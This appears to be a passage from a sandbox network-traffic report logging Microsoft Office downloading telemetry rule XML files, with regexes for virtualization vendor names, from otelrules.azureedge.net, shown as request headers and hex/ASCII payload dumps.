2024-11-10 18:45:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184506Z-16547b76f7f9rdn9hC1DFWfk7s0000000d3g000000000kve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184507Z-16547b76f7fvllnfhC1DFWxkg80000000d30000000008md1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: ba94e9d8-301e-0051-4939-3338bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184507Z-17df447cdb5g2j9ghC1DFWuyag00000003n0000000002vtw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184507Z-16547b76f7f4k79zhC1DFWu9y00000000czg00000000kwk0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: bf37a64f-201e-003c-0280-3230f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184507Z-15869dbbcc6gt87nhC1DFWh9un0000000e8g00000000kgb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bdec028e-901e-008f-3a53-3267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184507Z-15869dbbcc6bdtw9hC1DFW9m4s0000000550000000005hxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: e888609c-301e-000c-73b2-31323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184508Z-17df447cdb5rnd49hC1DFWgmpw00000003pg00000000912t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:08 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184508Z-16547b76f7f9bs6dhC1DFWt3rg0000000d10000000007wng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184508Z-16547b76f7f4k79zhC1DFWu9y00000000cyg00000000ra0q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184508Z-16547b76f7f9rdn9hC1DFWfk7s0000000cx000000000m3k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: b521bdd1-401e-002a-2116-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184508Z-15869dbbcc6tjwwhhC1DFWn22800000006d0000000007k1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:09 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
